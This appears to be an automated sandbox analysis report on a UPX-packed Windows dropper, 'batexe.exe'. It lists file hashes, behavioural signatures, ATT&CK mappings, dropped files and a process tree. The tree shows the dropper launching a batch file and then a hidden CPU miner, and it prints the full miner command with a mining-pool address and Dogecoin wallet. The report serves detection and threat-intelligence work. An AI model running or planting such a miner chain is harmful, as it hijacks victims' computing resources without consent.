73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
305s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14/02/2024, 10:08

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2388	b2e.exe
4200	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4200	cpuminer-sse2.exe
4200	cpuminer-sse2.exe
4200	cpuminer-sse2.exe
4200	cpuminer-sse2.exe
4200	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3864-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3864 wrote to memory of 2388	3864	batexe.exe	74
PID 3864 wrote to memory of 2388	3864	batexe.exe	74
PID 3864 wrote to memory of 2388	3864	batexe.exe	74
PID 2388 wrote to memory of 3508	2388	b2e.exe	75
PID 2388 wrote to memory of 3508	2388	b2e.exe	75
PID 2388 wrote to memory of 3508	2388	b2e.exe	75
PID 3508 wrote to memory of 4200	3508	cmd.exe	78
PID 3508 wrote to memory of 4200	3508	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3864
- C:\Users\Admin\AppData\Local\Temp\B054.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B054.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B054.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B46B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3508
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B054.tmp\b2e.exe

Filesize
2.0MB

MD5
fdeff16ca964a2e9a2203979adac8aef

SHA1
63fd594b64440d14c8bbb531f900073ca93d6f24

SHA256
ec3b54b18cd56dc7a31df8ba96620e24f6ba98f305481e310b7f159ce544f7c7

SHA512
e892709e7c3ff823345cdbde2b4be9f51b3769456baed5ab824bda5ae849dbcff8c2a5750c7db79baa9636eda2542df5df5421b6e8629c827fa4db1abc188e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\B054.tmp\b2e.exe

Filesize
11.9MB

MD5
04d50cbb43d10f6fe96d0598bc8cc6bb

SHA1
a0cf4634ad63f62a0207ac0290241565baf29667

SHA256
d715c6d19d83e735ba8d0578eef43397c18770b40f46adfb58a8fa0061d6fb61

SHA512
1117949820b865112f59bd4d6d13b3b7f936d2d792a875de529015fa1717cc8d8107d0be738ac2c0dbb92b05e3f0052a9ecdb4eb6154c3960ffbcb41ec4810cd

Download Submit
C:\Users\Admin\AppData\Local\Temp\B46B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
448KB

MD5
ca0b33f54480aa9c590d09f72e3feb31

SHA1
d50dc7dd964feb0d7516c3037e7dc7e008420ae5

SHA256
67833a9e63d8b7469a3a3415124a2426893a6174ce2bd88bea520c68319d182d

SHA512
266dcd9c5bfe2b117fda6bf7c4250a908233d8474bd0b09596a0bd0fa2e5bc75446a20b46cb7e516ef75b5661bbe16c714e8dcc5962a0f481cbaecdf6135affd

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.5MB

MD5
d556d2f42952feca6ce9564bc4d61d99

SHA1
7f99cd3752d48b157fb7109c480800baf3414d02

SHA256
5a3db482760efa13421e809b94bd5abcb71cfa3728efaf18a4c6aff5c19b33c4

SHA512
49adfe1503b0c512309ec1363e2217777ec5b8b1af3ffe0d90dd1ed2fef79702bd211a98d9b6d6b425f56238127ed47693b76255ced0a65039534a70a6020db1

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.1MB

MD5
fa6bf44a6b32ff3c7a8b5b38a672ebd1

SHA1
c7b47dd5aea1dd9a807140daa88db29065cba784

SHA256
2adffd78e00ab5cb8c8a5c55c7e234adb29437d4cfb4c8e3745f02b61f45ea5e

SHA512
59e91be8e3b68daad169a70b0c4f4daf0e9b62f5d1d8981443c5a25595aa24da00747b3a3e10abb150c114911b6a30ebd3b1782803b541895f9ca083cbdef2c7

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
c89eccb172245572e12e1ef31352c451

SHA1
96b44d49114268c567b7a9682327d27a0f0aa80d

SHA256
7891f06b27f93b1ee548c045eaa07511bc74c292cc4c6d5275dc66523730bf33

SHA512
19fee3424df1abc582f55c4785e5175bb0bd1375e235aefedbfbe30be07d2642937b09abec4f06802c28e248e1052b58453695baf29d26efa3e0a81848e8e0c1

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2388-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2388-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3864-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4200-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4200-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-43-0x00000000702F0000-0x0000000070388000-memory.dmp

Filesize
608KB

Download
memory/4200-44-0x0000000001120000-0x00000000029D5000-memory.dmp

Filesize
24.7MB

Download
memory/4200-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4200-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download